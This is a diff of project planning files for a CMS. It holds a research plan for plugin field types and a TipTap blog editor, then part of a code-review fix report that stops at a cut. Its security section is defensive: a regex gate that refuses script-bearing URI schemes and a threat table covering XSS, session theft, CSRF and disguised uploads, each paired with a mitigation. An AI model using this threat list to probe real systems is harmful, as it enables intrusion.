+It then calls `Upload(ctx, pact.FormFieldUpload{Record, Field, Filename, Body})`. That returns `{URL string}` or a `FieldError`, and cabana answers 201 `{data:{url}}`.
+
+**Pattern collision check:** the shape `/{v}/{p}/{c}/{id}/fields/{field}/upload` is distinct from the existing 7-segment POST patterns:
+- `.../{id}/files/{field}/reorder`
+- `.../{id}/relations/{name}/link`
+
+They differ by the literal segment, so `ServeMux` accepts them all. The 6-segment shape `/{v}/{p}/{c}/fields/{field}/upload` would collide with `POST /{vendor}/{plugin}/{controller}/{id}/actions/{action}`: neither is more specific, the same problem `nestedGet` documents. [VERIFIED: route table read in modules/cabana/http.go:241-345]
+
+A new route must be:
+- added to `admin_openapi.go`;
+- added to `phase09Routes`, because `TestPhase09PermissionMatrix` and `TestPhase09ContractInventory` fail on divergence;
+- regenerated through `scripts/check-admin-openapi.sh`.
+
+### Anti-Patterns to Avoid
+
+- **Running Decode/CheckHTML in Form hooks only.** Hooks see the host model, never the non-default locale values (`translations` stay inside cabana), so D-10 "every locale" cannot be met there.
+- **Using `editor.getHTML()` as the stored value.** It normalizes entities, attributes, tables and links even for unchanged content (Pitfall 1).
+- **Calling `editor.commands.setContent(html)` with the defaults when syncing an external value.** `emitUpdate` defaults to `true` in v3 (it was `false` in v2), so the echo fires `update` and marks the editor dirty. [CITED: tiptap.dev/docs/editor/api/commands/content/set-content] [VERIFIED: local probe: one update per default `setContent`, none with `{ emitUpdate: false }`]
+- **A package-level plugin type registry** in cabana (tests build several services per process).
+- **Handing the element a token or calling `/_journal/api/v1/media/upload` from it** (unreachable, and it breaks the 10.1 credential rule).
+- **Relaxing `CheckHTML` to allow iframes** (rejected; D-05 and Deferred).
+
+## Don't Hand-Roll
+
+| Problem | Don't Build | Use Instead | Why |
+|---------|-------------|-------------|-----|
+| Rich-text editing, selection, undo, paste handling | contenteditable + execCommand | TipTap 3.31.4 (ProseMirror) | Locked D-16; contenteditable has notoriously inconsistent cross-browser behavior [ASSUMED] |
+| Table editing (cell selection, merge, keyboard nav) | Custom table UI | `TableKit` (prosemirror-tables) | Edge cases in cell selection and colspan handling |
+| Locale storage for the ML variant | Per-plugin translation writes | cabana `liftMLValues`/`applyMLTranslations`/`hydrateMLRecord` + published `TranslationWriter` | D-14; the existing path already validates locales and the default key |
+| Asset hashing/serving/ETag | A second asset pipeline | `compileClientAssets` reader + `pluginAsset` route | 10.1 machinery; refactor the reader for plugin-level assets |
+| Upload auth/CSRF/permissions/scoping | A plugin route that reads the cookie | cabana-owned field upload route (Pattern 9) | The framework owns these checks for actions and file routes already |
+| HTML sanitization | A sanitizer | `classes.CheckHTML` refuse-only gate | Locked D-10 (no sanitizer dependency) |
+| The dist drift gate | Ad-hoc checks | Copy of `scripts/check-admin-dist.sh` | Proven pattern (temp build + `diff -r`) |
+
+**Key insight:** losslessness here does not come from a perfect schema, because no ProseMirror schema round-trips arbitrary HTML. It comes from not serializing unless the user edited, plus a server that refuses to write what it served.
+
+## Common Pitfalls
+
+### Pitfall 1: TipTap's default schema silently rewrites imported HTML
+**What goes wrong:** Opening and re-serializing loses footers, styles, spans, microdata, figures and table structure.
+**Evidence (local probe, @tiptap/* 3.31.4 on happy-dom 20.11.6):**
+- The input `<p>Tekst.</p>\n\n<footer class="author-footer" itemscope itemtype="https://schema.org/Person">…<style>…</style>` came out as `<p>Tekst.</p><img src="/a.png" alt="A"><p>Marcin</p>`.
+- `&quot;` became `"`.
+- `<table><thead>…` came out as `<table style="min-width: 50px;"><colgroup>…</colgroup><tbody><tr><th><p>A</p></th>…</tbody></table><p></p>`.
+- `<figure><img><figcaption>Cap</figcaption></figure>` came out as `<img …><p>Cap</p>`.
+
+[VERIFIED: probe output this session]
+**How to avoid:** Use Patterns 3 and 4.
+**Warning signs:** A vitest that sets `value` and reads `value` without any edit returns a different string.
+
+### Pitfall 2: Link extension adds attributes to every link
+**What goes wrong:** Every re-serialized `<a>` gains `target="_blank" rel="noopener noreferrer nofollow"`.
+**Why:** The defaults are `HTMLAttributes: { target: '_blank', rel: 'noopener noreferrer nofollow', class: null }` [VERIFIED: node_modules/@tiptap/extension-link/src/link.ts:263-267].
+**How to avoid:** Configure `link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false }` and preserve the original `target`/`rel` through the attribute map. Keep the default `isAllowedUri` (it refuses `javascript:`).
+
+### Pitfall 3: The trailing node appends `<p></p>`
+**What goes wrong:** StarterKit v3 includes `TrailingNode`, so a document that ends in a table or another atom gains an empty paragraph.
+**How to avoid:** `StarterKit.configure({ trailingNode: false })` [VERIFIED: local probe, trailing `<p></p>` gone with the option].
+
+### Pitfall 4: `setContent` emits `update` by default in v3
+**How to avoid:** Pass the initial value through the `content` option or `setContent(v, { emitUpdate: false })`. Track dirty from user transactions only. [VERIFIED: probe; CITED: tiptap set-content docs]
+
+### Pitfall 5: The 16.1 stopgap is not byte-preserving
+**What goes wrong:** Since 16.1, every admin post save runs `FormatHTML(post.Content)` (goldmark with `html.WithUnsafe()`, format_html.go:22) and stores the result in `content_html`.
+- goldmark trims the input and adds a trailing `\n`.
+- CommonMark HTML-block rules can turn 4-space-indented HTML into code blocks, and can process markdown between blank-line-separated HTML blocks. [ASSUMED from CommonMark spec behavior]
+- The 16.1 test compares `strings.TrimSpace(stored.ContentHTML)` [VERIFIED: posts_admin_smoke_test.go:146], so it cannot detect byte drift.
+**How to avoid:** Replace the stopgap on the admin path (Pattern 6). Tighten the test to exact bytes and add the untouched case: a PUT with the served value must leave `content`, `content_html` and `updated_at`-independent columns unchanged.
+
+### Pitfall 6: Saving an untouched markdown post converts it
+**What goes wrong:** Without the server-side skip, an untouched markdown post sends `content_html` back as `content`, a silent format migration with no edit. That contradicts D-03, and also D-07's "on first edit".
+**How to avoid:** Use the Pattern 3 server skip.
+
+### Pitfall 7: Non-default `content_html` is never written by the admin today
+**What goes wrong:** `FormBeforeUpdate` sets only the host `ContentHTML`. `applyMLTranslations` writes only the field itself (`content`). So an `en` edit leaves the `en` `content_html` stale. PHP wrote both per locale: `setAttributeTranslated('content', …)` and `setAttributeTranslated('content_html', Post::formatHtml($value), …)` [VERIFIED: fonoteka/plugins/golem15/journal/formwidgets/MLJournalMarkdown.php getSaveValue].
+**How to avoid:** Use the Pattern 2 written-values accessor and the companion write in `FormAfter*`.
+
+### Pitfall 8: Field-type CSS gets disabled on navigation
+**What goes wrong:** `activateStyles(controllerId)` disables every link whose owner is not the active controller [VERIFIED: admin/src/app/pluginAssets.ts].
+**How to avoid:** Add a global owner that `activateStyles` never touches.
+
+### Pitfall 9: Route pattern collision panics at boot
+**What goes wrong:** See Pattern 9. Use the `/{id}/fields/{field}/upload` shape and keep `TestPhase09PermissionMatrix` green.
+
+### Pitfall 10: The `data:` substring in prose trips `CheckHTML`
+**What goes wrong:** ``(?i)(?:javascript|vbscript|data):`` matches anywhere, including Polish text "Data: 12.03" ("data" is Polish for "date") and "Metadata:". The editor would then answer 422 on harmless text.
+**Evidence:** There are 0 occurrences in the local export [VERIFIED: scan this session], so this is a latent false-positive risk, not a current blocker.
+**How to handle:** Show the 422 message clearly in the editor. Changing the gate is a security decision and out of scope (D-10).
+
+### Pitfall 11: There is no Docker on this machine
+**What goes wrong:** The testcontainers suites cannot run here: the `modules/cabana` Postgres tests and the sm-journal-plugin admin harness, including `TestPostsAdminResaveKeepsHTML` [VERIFIED: `docker info` failed this session; 16.1-01 SUMMARY records the same].
+**How to handle:** Plan DryRun/unit coverage that runs with `-short` and a human Docker-host gate before the release (the 16.1-02 "docker-first" pattern).
+
+## Code Examples
+
+### 1. pact surface (proposed; names are Claude's discretion)
+
+```go
+// FormFieldType is a plugin-registered, value-bearing admin form field type
+// (Winter registerFormWidgets). Name is the global alias used as `type:` in
+// fields.yaml; Element is the custom-element tag the plugin's script defines.
+type FormFieldType struct {
+	Name         string
+	Element      string
+	Translatable bool     // value is a locale -> string map stored through the translation writer
+	Scripts      []string // AdminFS paths under assets/ (.js, .mjs), loaded on every admin page
+	Styles       []string // AdminFS paths under assets/ (.css)
+	Options      []string // the type's own fields.yaml keys
+	CheckOptions func(options map[string]any) error                                `json:"-"`
+	Decode       func(ctx context.Context, in FormFieldValue) (any, error)          `json:"-"`
+	Load         func(ctx context.Context, in FormFieldValue) (any, error)          `json:"-"`
+	ListValue    func(value any) string                                            `json:"-"`
+	Upload       func(ctx context.Context, in FormFieldUpload) (FormFieldUploadResult, error) `json:"-"` // optional
+}
+
+type FormFieldValue struct {
+	DB      *gorm.DB // the save transaction, or the read handle for Load
+	Record  any      // the loaded (or new) model pointer
+	Field   string
+	Locale  string // "" for a non-translatable type
+	Default bool   // Locale is the host-column locale
+	Value   any    // submitted (Decode) or stored (Load) value
+}
+
+// FieldError is a value refusal shown on the field (422).
+type FieldError struct{ Messages []string }
+
+type HasFormFieldTypes interface{ FormFieldTypes() []FormFieldType }
+```
+
+(`pact` already imports `gorm.io/gorm` and `context` [VERIFIED: modules/pact/capabilities.go:3-13].)
+
+### 2. Journal Decode (Go, no new dependency)
+
+```go
+func decodeBlogHTML(_ context.Context, in pact.FormFieldValue) (any, error) {
+	text, ok := in.Value.(string)
+	if !ok {
+		return nil, &pact.FieldError{Messages: []string{"golem15.journal::lang.post.content_invalid"}}
+	}
+	if err := CheckHTML(text); err != nil { // classes.CheckHTML: refuse, never rewrite (D-10)
+		return nil, &pact.FieldError{Messages: []string{err.Error()}}
+	}
+	return text, nil
+}
+```
+
+### 3. Element skeleton (TypeScript, light DOM)
+
+```ts
+// Source: TipTap Editor/setContent docs + local probes (emitUpdate:false fires no update)
+class BlogEditor extends HTMLElement {
+  #original = ''          // exact served string
+  #dirty = false
+  #editor?: Editor
+  get value(): string { return this.#dirty ? serialize(this.#editor!) : this.#original }
+  set value(v: string) {
+    if (v === this.value) return            // echo of our own summer-change: no reset
+    this.#original = v; this.#dirty = false
+    this.#editor?.commands.setContent(v, { emitUpdate: false })
+  }
+  connectedCallback() {
+    this.#editor = new Editor({
+      element: this.querySelector('[data-pm]')!, injectCSS: false,
+      extensions: preservationExtensions(), content: this.#original,
+      onUpdate: ({ transaction }) => {
+        if (!transaction.docChanged) return
+        this.#dirty = true
+        this.dispatchEvent(new CustomEvent('summer-change', { bubbles: true, detail: { value: this.value } }))
+      },
+    })
+  }
+  disconnectedCallback() { this.#editor?.destroy() }
+}
+customElements.define('golem15-journal-blogeditor', BlogEditor)
+```
+
+### 4. Layer embed expansion (SSR-safe string transform)
+
+```ts
+// After gateJournalHtml; the iframe exists only in the rendered page (D-05).
+const YOUTUBE = /<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"><\/figure>/g
+export function expandEmbeds(html: string): string {
+  return html.replace(YOUTUBE, (_m, id: string) =>
+    `<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/${id}" title="YouTube" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture" allowfullscreen></iframe></figure>`)
+}
+```
+
+## State of the Art
+
+| Old Approach | Current Approach | When Changed | Impact |
+|--------------|------------------|--------------|--------|
+| TipTap 2 `setContent(content, emitUpdate = false)` | v3 options object, `emitUpdate` default `true` | TipTap v3 | Echo updates mark dirty unless suppressed |
+| `History` extension | `UndoRedo` (StarterKit option `undoRedo`) | v3 | Config key name [VERIFIED: starter-kit.ts:101-103] |
+| `@tiptap/extension-table-row/-cell/-header` separate packages | `TableKit` from `@tiptap/extension-table` | v3 | One install [CITED: tiptap table docs] |
+| StarterKit without link/underline/trailing node | v3 StarterKit includes Link, Underline, TrailingNode | v3 | Must configure or disable [VERIFIED: starter-kit.ts:130-169] |
+
+**Deprecated/outdated:** goldmark rendering of HTML content on the admin path (the 16.1 stopgap) is replaced by D-02/D-10.
+
+## Assumptions Log
+
+| # | Claim | Section | Risk if Wrong |
+|---|-------|---------|---------------|
+| A1 | "Looks like HTML" (first non-space byte `<`) identifies an HTML post; anything else is markdown and is served as `content_html` | Pattern 6 | A markdown post starting with an HTML tag would open as raw markdown in WYSIWYG; low frequency (0 of the local export's markdown bodies start with `<`) but needs user OK |
+| A2 | Light DOM is preferable to Shadow DOM for ProseMirror | Alternatives | Style leakage if wrong; mitigated by tag-scoped CSS |
+| A3 | Top-level `Node.eq` reuse of original block HTML is worth its complexity | Pattern 4 item 7 | Planner may cut it; D-03 only requires "as far as possible" |
+| A4 | goldmark can mangle indented HTML (CommonMark HTML block rules) | Pitfall 5 | Only affects the justification for replacing the stopgap, not the decision |
+| A5 | Settings forms refuse plugin types in v1 | Pattern 1 | A future settings form wanting a plugin type needs a follow-up |
+| A6 | Journal uploads keep the media-bucket layout (`/journal/...`), not `content_images` attachments (PHP parity used attachments) | Pattern 9 | Attachments would need deferred binding with the form session key |
+| A7 | contenteditable inconsistency justifies the library (general knowledge) | Don't Hand-Roll | None (D-16 locks TipTap anyway) |
+
+## Open Questions (RESOLVED)
+
+All three questions were settled during planning; the resolution line under each question is binding for the plans.
+
+1. **D-18 upload path reachability (needs user confirmation).**
+   - **RESOLVED (user decision 2):** cabana owns the upload transport, `POST {api}/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` (plan 01), which calls the field type's `Upload`; Journal moves its storage rules into `classes.StoreMedia` and calls it from that `Upload` (plan 03), and `POST /_journal/api/v1/media/upload` stays unchanged for API clients (D-09).
+   - What we know:
+     - The admin SPA never reads the JWT: "the JWT lives in an HttpOnly cookie the SPA never reads" [VERIFIED: admin/src/api/client.ts:2-4].
+     - The cookie is `Path: s.adminPrefix()`, `HttpOnly: true`, `SameSite: http.SameSiteStrictMode` [VERIFIED: modules/cabana/auth.go:244-252], with `AdminCookieName = "summer_admin"` [VERIFIED: modules/cabana/prefix.go:16].
+     - The Journal guard is built without cookie names: `return bouncer.NewBackendJWTGuard(secret, cabana.BackendUsers{DB: gdb, Registry: reg}, bl, write)` [VERIFIED: sm-journal-plugin/controllers/api/auth.go:80], and the route is `g.Post("/media/upload", ...)` under `/_journal/api/v1` [VERIFIED: routes.go:26].
+     - So the browser sends no credential to that route from the admin.
+   - Recommendation:
+     - Keep the existing route untouched for API clients (D-09 spirit).
+     - Extract its storage logic into `classes` (or `controllers/api`), keeping these values: `const mediaMaxBytes = 10240 << 10`; extensions `"jpg", "jpeg", "png", "gif", "webp"` [VERIFIED: media.go:17,45]; the `/journal/<folder>/<name>` keys; the unique-suffix logic.
+     - Call it from the field type's `Upload` through the cabana field upload route (Pattern 9).
+     - This keeps "the existing Journal media storage" but changes the transport, so confirm the reading of D-18 with the user.
+2. **Where the SPA learns the global field-type assets.** Options: a new `GET /field-types` route (adds to the OpenAPI and route matrix), or a `meta.fieldTypes` on `/navigation`, which already loads on every page (`useNavigation.ts:13`). Recommendation: a dedicated route, which keeps the navigation contract unchanged. Planner's choice.
+   - **RESOLVED (plan 01, planner's choice):** a dedicated `GET {api}/field-types` route, loaded by the SPA next to `/navigation`; the navigation contract does not change.
+3. **Release scope.** The 16.1 pattern applies: summercms tag v0.1.17 (latest is v0.1.16), a sm-journal-plugin `go.mod` require bump, the host gitlink bump, vue-journal-layer tag v0.2.0 (latest v0.1.0) with the `vue-grzybyfunkcjonalne-app` `package.json` pin `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` [VERIFIED: package.json:20] bumped, the host gitlink for the Vue app, `scripts/build.sh` (builds Go and Nuxt), rsync, restarting both supervisor programs, and the on-server smoke. Recommendation: include it as a plan with human checkpoints (Docker-host gate, UAT browser check of editing an imported post).
+   - **RESOLVED (user decision 3):** release and UAT are in scope: plan 04 tags the layer (v0.2.0) and pins it in the app, and plan 05 tags summercms (v0.1.17 or the next free v0.1.x), bumps the plugin require and the host gitlinks, deploys UAT and runs the human Docker-host and UAT checkpoints.
+
+## Environment Availability
+
+| Dependency | Required By | Available | Version | Fallback |
+|------------|------------|-----------|---------|----------|
+| Go | all Go work | ✓ | go1.27.0 | — |
+| Node | plugin JS build, admin SPA, layer | ✓ | v22.23.2 (admin needs >=22.6; layer needs >=22.18) | — |
+| npm | plugin build, admin | ✓ | 12.0.2 | — |
+| pnpm | `vue-journal-layer` `check-git-install.sh` | not probed | — | Run on the release machine; the script exits early if pnpm is missing |
+| Docker | testcontainers suites (cabana Postgres, journal admin harness) | ✗ | — | DryRun/unit tests with `-short`; human Docker-host gate before the tag (16.1 pattern) |
+| ssh to UAT (`grzybyfunkcjonalne-uat`) | redeploy | not probed this session (worked in 16.1-02) | — | Human checkpoint |
+
+**Missing dependencies with no fallback:** none blocking the code work.
+**Missing dependencies with fallback:** Docker (human-run gate).
+
+## Validation Architecture
+
+### Test Framework
+
+| Property | Value |
+|----------|-------|
+| Framework | Go `testing` (+ testify), admin vitest 3.2.7 + happy-dom, plugin vitest 3.2.7 (new), layer `node --test` |
+| Config file | `admin/vitest.config.ts`; plugin `vite.config.ts`/`vitest.config.ts` (Wave 0); layer `package.json` `test` script |
+| Quick run command | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
+| Full suite command | `go vet ./... && go test -short ./...` in summercms.go; `npm --prefix admin test`; in `../sm-journal-plugin`: `go vet ./... && go test -short ./... && npm test`; in `../vue-journal-layer`: `npm test` |
+
+### Phase Requirements → Test Map
+
+| Req | Behavior | Test Type | Automated Command | File Exists? |
+|-----|----------|-----------|-------------------|-------------|
+| D-11 | Duplicate alias / core-type clash / bad element tag fails boot | unit | `go test -short ./modules/cabana -run TestFieldTypeRegistry` | ❌ Wave 0 |
+| D-12.1 | Unknown plugin key and CheckOptions error fail boot | unit | `go test -short ./modules/cabana -run TestFieldTypeOptions` | ❌ |
+| D-12.2/D-10 | FieldError → 422 on field, default + non-default locale | unit (DryRun/fake writer) | `go test -short ./modules/cabana -run TestFieldTypeDecode` | ❌ |
+| D-03 | Submitted == served → nothing written (host and translation) | unit | `go test -short ./modules/cabana -run TestFieldTypeUntouched` | ❌ |
+| D-12.3/D-07 | Load serves `content_html` for a markdown post, `content` for HTML | unit | `go test -short ../sm-journal-plugin/classes -run TestBlogEditorLoad` | ❌ |
+| D-12.4 | List column with plugin type uses ListValue | unit | `go test -short ./modules/cabana -run TestFieldTypeListValue` | ❌ |
+| D-13/D-15 | Schema carries `element`/`translatable`; OpenAPI/TS in sync | unit + script | `go test ./modules/cabana -run 'TestPhase09' && bash scripts/check-admin-openapi.sh --check` | ✅ (extend) |
+| D-13 | PluginField binds value, emits only on summer-change; ML wrapper | vitest | `npm --prefix admin test -- PluginField` | ❌ |
+| D-18 | Upload route: auth, CSRF, permission, scope, size cap, non-plugin field 404 | unit | `go test -short ./modules/cabana -run TestFieldUpload` | ❌ |
+| D-03/D-04 | Element: untouched value identical; rawHtml/embed/figure/link/table round-trip | vitest (happy-dom) | `npm --prefix ../sm-journal-plugin test` | ❌ |
+| todo resave | Re-save untouched imported HTML post: `content` and `content_html` byte-identical; edited save sets both equal | integration (Postgres) | `go test ../sm-journal-plugin -run TestPostsAdminResaveKeepsHTML` (Docker host) | ✅ (tighten) |
+| D-17 | expandEmbeds allowlist, id regex, gate-first order | node:test | `npm --prefix ../vue-journal-layer test` | ❌ (`tests/embeds.test.ts`) |
+| docs | READMEs/docs identifiers and links | unit | `go test ./cmd/summer -run TestDocsTree` | ✅ |
+| dist | Admin and plugin bundles match committed dist | script | `bash scripts/check-admin-dist.sh` and `bash ../sm-journal-plugin/scripts/check-dist.sh` | ✅ / ❌ |
+
+### Sampling Rate
+- **Per task commit:** `go vet ./... && go test -short` for the touched packages, plus the touched vitest file.
+- **Per wave merge:** every full-suite command above.
+- **Phase gate:** full suites green, `check-admin-dist.sh`, `check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `TestDocsTree`, and the human Docker-host run of the testcontainers suites, all before `/msd-verify-work`.
+
+### Wave 0 Gaps
+- [ ] `../sm-journal-plugin/package.json`, `package-lock.json`, `vite.config.ts`, `vitest` setup with happy-dom, `scripts/check-dist.sh`
+- [ ] `modules/cabana/field_type_test.go`: registry, options, decode/skip, list, upload (reuse `openDryRunDB`/`newDryRunListService` from query_relation_test.go and a fake `TranslationWriter`)
+- [ ] `admin/tests/form/PluginField.test.ts` with a stub custom element
+- [ ] `../vue-journal-layer/tests/embeds.test.ts`
+
+## Security Domain
+
+`security_enforcement` is absent from config (treated as enabled); ASVS L1.
+
+### Applicable ASVS Categories
+
+| ASVS Category | Applies | Standard Control |
+|---------------|---------|-----------------|
+| V2 Authentication | yes (upload route) | cabana backend guard (cookie or Bearer); never a token handed to the element |
+| V3 Session Management | yes | Existing HttpOnly, SameSite=Strict cookie scoped to the admin prefix; `requireAjax` on POST |
+| V4 Access Control | yes | Controller `RequiredPermissions` + `FormExtendQuery` record scope on the upload route; field must be a plugin type with `Upload` and its `context` must allow the op |
+| V5 Input Validation | yes | `CheckHTML` per locale in Decode (refuse, no rewrite); option keys validated at boot; upload extension allowlist + size cap; embed id regex in the layer |
+| V6 Cryptography | no | — |
+| V12 Files and Resources | yes | `.jpg/.jpeg/.png/.gif/.webp` only (no SVG); 10 MiB cap; nginx serves `/storage/app/uploads/public` image types only with `nosniff` [VERIFIED: deploy/nginx/grzybyfunkcjonalne-staging.conf, its storage image location block] |
+| V14 Configuration | yes | Admin CSP `script-src 'self'` unchanged; bundle has no eval |
+
+### Known Threat Patterns (threat model input)
+
+| Pattern | STRIDE | Standard Mitigation |
+|---------|--------|---------------------|
+| Stored XSS through the raw HTML block, source tab or a non-default locale | Tampering / Elevation | `CheckHTML` in Decode for every locale value; layer `gateJournalHtml` again before v-html |
+| An iframe smuggled in as an "embed" | Tampering | Placeholder only in storage; the layer builds the iframe from a validated id and a fixed host |
+| XSS in the admin itself (the element renders stored HTML in contenteditable) | Elevation | ProseMirror renders through its schema, so `script` is never a node and the `rawHtml` card shows text, not live DOM. The admin CSP `script-src 'self'` blocks inline handlers. Do not `innerHTML` raw blocks into the live admin DOM. [ASSUMED: verify in the plan's tests that the rawHtml card renders escaped text] |
+| A plugin alias hijacking a core type or another plugin's type | Spoofing | Boot fails on any collision (D-11) |
+| A plugin element exfiltrating the session | Information disclosure | No credential is passed to elements; the cookie is HttpOnly; the SPA performs uploads |
+| CSRF on the upload route | Tampering | `requireAjax` (X-Requested-With) plus a SameSite=Strict cookie |
+| Upload of HTML or SVG disguised as an image | Tampering / Elevation | Extension allowlist without SVG; nginx type map + `nosniff`; consider also checking the magic bytes with `http.DetectContentType` (stdlib) |
+| Path traversal or odd filenames in upload keys | Tampering | `path.Base`, the folder regex `^[A-Za-z0-9_\-/]*$`, `..` refused (existing); consider slugifying the base name for the admin path |
+| Oversized uploads, or unbounded JSON in Decode | DoS | `http.body_limits.upload_bytes` on the route; the existing default body limit on saves |
+| Option values reaching the element as HTML | Tampering | Options delivered as a JSON attribute; the element never `innerHTML`s them |
+
+## Sources
+
+### Primary (HIGH confidence)
+- Source files read in this session:
+  - `modules/pact/capabilities.go`
+  - in `modules/cabana`: `form_schema.go`, `crud.go`, `field_ml.go`, `extension.go`, `plugin_assets.go`, `registry.go`, `http.go`, `list_schema.go`, `schema_types.go`
+  - in `admin/src`: `components/form/registry.ts`, `formState.ts`, `mlLocale.ts`, `fields/WidgetField.vue`, `fields/MLField.vue`, `app/pluginAssets.ts`, `views/FormView.vue`
+  - `modules/boardwalk/boardwalk.go`, `modules/bouncer/jwt.go`
+  - in sm-journal-plugin: `classes/format_html.go`, `controllers/posts.go`, `controllers/categories.go`, `controllers/api/media.go`, `controllers/api/auth.go`, `routes.go`, `admin.go`, `plugin.go`, `models/post.go`, `models/category.go`, both `fields.yaml`, `posts_admin_smoke_test.go`
+  - in sm-translate-plugin: `classes/admin_writer.go`
+  - in vue-journal-layer: `PostBody.vue`, `htmlGate.ts`
+  - in the host: nginx conf, `DEPLOY.md`, `storage.yaml`
+  - in the frozen PHP Journal: `Category.php`, `Post.php`, `JournalMarkdown.php`, `MLJournalMarkdown.php`
+- npm registry: `npm view` for every recommended package; `msd-tools query package-legitimacy check`
+- Local probes: TipTap 3.31.4 on happy-dom 20.11.6 (lossiness, rawHtml/embed nodes, global attributes, emitUpdate, trailingNode); an esbuild bundle-size build
+
+### Secondary (MEDIUM confidence)
+- tiptap.dev docs: extend-existing (global attributes), editor API (parseOptions, injectCSS), set-content (emitUpdate default true), table (TableKit options)
+- support.google.com/youtube/answer/171780 (privacy-enhanced embed domain)
+
+### Tertiary (LOW confidence)
+- General ProseMirror Shadow DOM quirk claim (A2)
+
+## Metadata
+
+**Confidence breakdown:**
+- Standard stack: HIGH. Versions come from the registry, and the toolchain is pinned to the admin's existing lockfile.
+- Architecture: HIGH for the integration points (read from source). MEDIUM for the proposed API shape and the editor serializer, which are design choices.
+- Pitfalls: HIGH. Most were reproduced by local probes or read from source.
+
+**Research date:** 2026-10-09
+**Valid until:** 2026-11-08 for the framework findings. Re-check TipTap patch versions before installing, because the project releases fast.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW-FIX.md

@@ -0,0 +1,228 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+fixed_at: 2026-10-10T14:46:56Z
+review_path: .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
+iteration: 1
+findings_in_scope: 8
+fixed: 8
+skipped: 0
+status: all_fixed
+---
+
+# Phase 16.2: Code Review Fix Report
+
+**Fixed at:** 2026-10-10T14:46:56Z
+**Source review:** .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md
+**Iteration:** 1
+
+**Summary:**
+- Findings in scope: 8 (CR-01, WR-01, WR-02, WR-03, WR-04, WR-05, WR-06, IN-04, as the orchestrator chose)
+- Fixed: 8
+- Skipped: 0 in scope. WR-07, WR-08, IN-01, IN-02, IN-03, IN-05, IN-06, IN-07 and IN-08 are out of scope by decision. Each is listed under Skipped Issues.
+
+The fixes span three repositories, and each fix is committed in the repository that owns the file:
+- summercms.go: `/media/nvme/dev/golem15/summercms.io/summercms/summercms.go`
+- sm-journal-plugin: `/media/nvme/dev/golem15/summercms.io/summercms/sm-journal-plugin`
+- vue-journal-layer: no fix touched it.
+
+## Fixed Issues
+
+### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank
+
+**Repository:** sm-journal-plugin
+**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
+**Commit:** 1593231
+**Applied fix:** `loadBlogHTML` now reads the `htmlColumn` attribute when the stored content is blank and serves it whenever it is not empty. This applies to every locale and to the host row. When it is empty or missing, the blank value is served as stored. FormatHTML never runs on a blank value. An untouched save echoes the served value, which cabana skips. An edit writes the edited HTML to `content`, and FormAfterUpdate writes it to that locale's `content_html`.
+**Tests:**
+- Blank or nil content is served as `content_html`, in a translation and on the host row.
+- Blank content with an empty or missing `content_html` is still served as `""`.
+- A failing read is the Load error.
+- A field without `htmlColumn` never reads.
+- The controller smoke test covers the whole flow: Load serves the API-written body, Decode accepts the edit, and FormAfterUpdate writes `content_html` for that locale.
+
+### WR-01: Field upload route skips the controller's create/update capability check
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/field_type_smoke_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
+**Commit:** 3158bb5
+**Applied fix:** `fieldUpload` now calls `s.operationDeclared(w, r, cc, op)` right after parsing `{id}`, before it reads the body. The operation is `create` for id 0 and `update` otherwise, as on the save routes.
+**Tests:**
+- New `TestFieldUpload` case: a controller with no `create` toolbar button answers 403 for id 0 and never calls Upload. The same field with the button answers 201.
+- The test fixtures for upload (`upFS`, `ftMLPlugin`) now declare `toolbar.buttons: [create]`.
+**Docs:** the README route row and the field-types page now describe the 403.
+
+### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type_upload.go`, `modules/cabana/field_type_test.go`, `modules/cabana/README.md`, `docs/backend/field-types.md`
+**Commit:** c532529
+**Applied fix:**
+- The route reads the whole multipart body with `ReadForm` before Upload runs. Files over 8 MiB (`fieldUploadMemory`) spool to a temporary file, which `RemoveAll` deletes.
+- `singleUploadFile` requires exactly one part: a file part named `file` with a non-blank file name. Only then is Upload called, with the opened file.
+- An extra part, a value part or an oversized body is refused (422 or 413) without calling Upload.
+- Two windows remain, and the docs now name them: a record transaction that fails after Upload returns, and an element that stops waiting. In both cases `Upload` should store under a name that is safe to leave behind.
+**Tests:**
+- New cases check that a second file part, a later field, a value part before or after the file, and an oversized body never call Upload.
+- A file larger than the in-memory threshold reaches Upload byte for byte.
+
+### WR-03: Media key uniqueness is check-then-write
+
+**Repository:** sm-journal-plugin
+**Files modified:** `classes/media_store.go`, `classes/media_store_test.go`
+**Commit:** 2c961b8
+**Applied fix:**
+- `StoreMedia` reserves the chosen key in an in-process set, per bucket, while it writes. `uniqueMediaKey` treats reserved keys as taken.
+- The write uses `blob.WriterOptions{IfNotExist: true}`. A `gcerrors.FailedPrecondition` moves the upload on to the next free name, for at most 10 attempts.
+- Both parts are needed: fileblob's `IfNotExist` is stat-then-rename under a per-writer mutex, so on its own it would not close the race within one process. The reservation closes it within the process, and `IfNotExist` covers other processes on backends that enforce it atomically, such as S3.
+**Tests (run with `-race`):**
+- 16 concurrent uploads of `image.png` get distinct keys and keep their own bytes, and no reservations are left behind.
+- A test hook (`mediaBeforeWrite`) simulates another process writing the chosen keys. The upload moves to `image-2.png` and leaves the other objects untouched.
+- When the upload loses every attempt, it gives up with an opaque error.
+
+### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML
+
+**Repository:** sm-journal-plugin
